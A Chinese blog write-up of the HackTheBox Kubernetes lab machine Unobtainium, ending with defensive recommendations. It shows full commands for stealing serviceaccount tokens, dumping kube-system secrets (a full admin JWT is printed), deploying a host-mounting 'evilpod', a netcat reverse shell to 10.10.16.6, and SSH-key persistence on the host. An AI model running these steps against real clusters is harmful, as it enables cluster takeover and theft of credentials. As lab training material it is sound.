浅谈K8S攻防:从POD到控制集群
k8s确实在一定程度上抹平了普通公司与一流公司的基础设施差距,实现了故障自愈、自动扩缩容等功能。但是容器/K8S安全上明显还有不少薄弱之处。
基础知识
K8S常见部署应用的架构大致如下
Unobtainium是第一个hackthebox的K8S靶机,本文主要聊聊进入K8S的pod后的操作。这个靶机涉及K8S的部分主要是进入POD后,现在正式开始。
流程
进入环境首先进行信息收集,因为前期的扫描已经扫出了
确认处于docker环境
查看进程数量,发现相较一般的Linux少了很多,还可以看到很多其他人的进程在反弹
进入一个POD信息第一步是收集serviceaccount
常见的位置是
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/ser
因为最开始信息收集知道有etcd,所以确认猜测是主节点
1 | cd /run/secrets/kubernetes.io/serviceaccount |
api server访问成功
创建一个~/.kube/config,kubectl默认会从$HOME/.kube目录下查找文件名为 config 的文件,config就是访问集群的配置
token 就是/run/secrets/kubernetes.io/serviceaccount/token
certificate-authority-data 就是base64 的/run/secrets/kubernetes.io/serviceaccount/ca.crt
1 | apiVersion: v1 |
查看命名空间
1 | kubectl get namespaces |
直接列出pods失败
1 | kubectl get pods -A |
1 | kubectl get pods -n dev |
指定命名空间看,可以发现有三个pod,这三个应该同一个应用。
查看pod详细情况
1 | kubectl describe pods -n dev |
看看这几个ip
1 | kubectl describe pods -n dev | grep IP |
查看dev命名空间权限
1 | kubectl auth can-i --list |
再用cdk进行信息收集,上传cdk
1 | wget http://10.10.16.6:8089/cdk_linux_amd64_upx |
输出信息不是很多,但是这里提示了./cdk kcurl和api server这点呼应了
1 | 2021/09/07 07:44:55 trying to list namespaces |
但是没利用成功,再用cdk对网段进行一次扫描
1 | ./cdk_linux_amd64_upx probe 172.17.0.0-255 1-65535 100 500 |
但是cdk没有title信息,所以再用fscan试下
1 | wget http://10.10.16.6:8089/fscan_amd64 |
其他信息就没什么了,但是K8S应用一般是一堆pod对外提供服务,尝试相同的payload,尝试移动到别的pod试试,这个需要自己尝试,payload和前期获取pod权限的一样。
和猜想的一样,确实是相同的应用,再对新的pod上传一个kubectl
1 | wget http://10.10.16.6:8089/kubectl |
查看serviceaccount
1 | cd /run/secrets/kubernetes.io/serviceaccount |
1 | kubectl auth can-i --list --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt |
没啥区别
查看其他命名空间信息
1 | kubectl auth can-i --list -n kube-system --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt |
1 | cd /run/secrets/kubernetes.io/serviceaccount |
查看secret
获取其他信息。还是传个cdk,不过没什么特别的信息
1 | wget http://10.10.16.6:8089/cdk_linux_amd64_upx |
再把secret拉出来
1 | kubectl get secrets -o yaml -n kube-system |
使用c-admin-token-tfmp2 的secret
1 | kubectl describe secrets/c-admin-token-tfmp2 -n kube-system |
权限提升
查看当前权限是否可以创建pod
1 | kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod |
这里先要查看一下有什么image
1 | kubectl describe pods --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -A |
发现有localhost:5000/node_server和localhost:5000/dev-alpine这两个镜像,求个稳
新建一个evilpod.yaml,这里直接挂在容易点,反弹可能有问题
1 | apiVersion: v1 |
1 | wget http://10.10.16.6:8089/evilpod.yaml |
1 | kubectl apply -f evilpod.yaml --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow |
进入这个pod
1 | kubectl exec alpine --stdin --tty -n kube-system --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -- /bin/sh |
有时候pod会被干掉
1 | kubectl get pods --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -A |
nc 10.10.16.6 6666 -e /bin/sh
不过后面测试发现其实是有nc的
持久化
本地生成一个密钥对
1 | sudo ssh-keygen -t rsa |
在POD里上传写入公钥,本质就是写到了宿主机
1 | cd /mnt/root |
然后用私钥登录
1 | ssh -i /root/.ssh/id_rsa root@10.10.10.235 |
总结
如下是一个典型的K8S应用测试路径
在这个靶机里主要是从一个pod横向到另一个pod,再借助pod的serviceaccunt执行kubectl 进而控制集群,通过控制集群挂载敏感主机敏感目录实现提权。
防御锚点
从防御者的角度出发,做出以下思考
事前
- 安全左移 :省略的前期中主要依靠的就是旧/不维护版本的安全问题,如果在开发前期集成进行管控,也可以扼杀攻击者入口(比如SCA、ISAT、微服务安全相关技术的使用)
- 容器功能最小化:比如不要给POD不需要的serviceaccout权限
- 传统安全设备:比如WAF/防火墙/全流量设备等也可以产生一定作用
事中
- K8S运行时检测:异常的shell命令执行(POD信息收集)、敏感目录挂载、kubectl文件、cdk等容器渗透工具(目前还较少)。
- 集群内外关系、资产可视化展示:确定目前的影响面
- 微隔离能力:对安全事件进行响应
事后
- K8S各项日志采集:回溯攻击者攻击路径,形成预测、防御、检测、响应闭环
但是不同企业的二开K8S怎么防御就不好说了,就目前来看常见安全设备对CRI是docker的支持较好。
其他
验证一些猜想,确认一下服务,可以看到确实是这样,一个webapp-service 的service
服务的endpoint也是刚才的几个pod,这里pod死过,所以ip换了
查看deployment
包括之前扫描出的一些端口服务也就很明晰了
查看本地的一些镜像
尝试拉取镜像,这里是不通外网的
因为使用的是本地仓库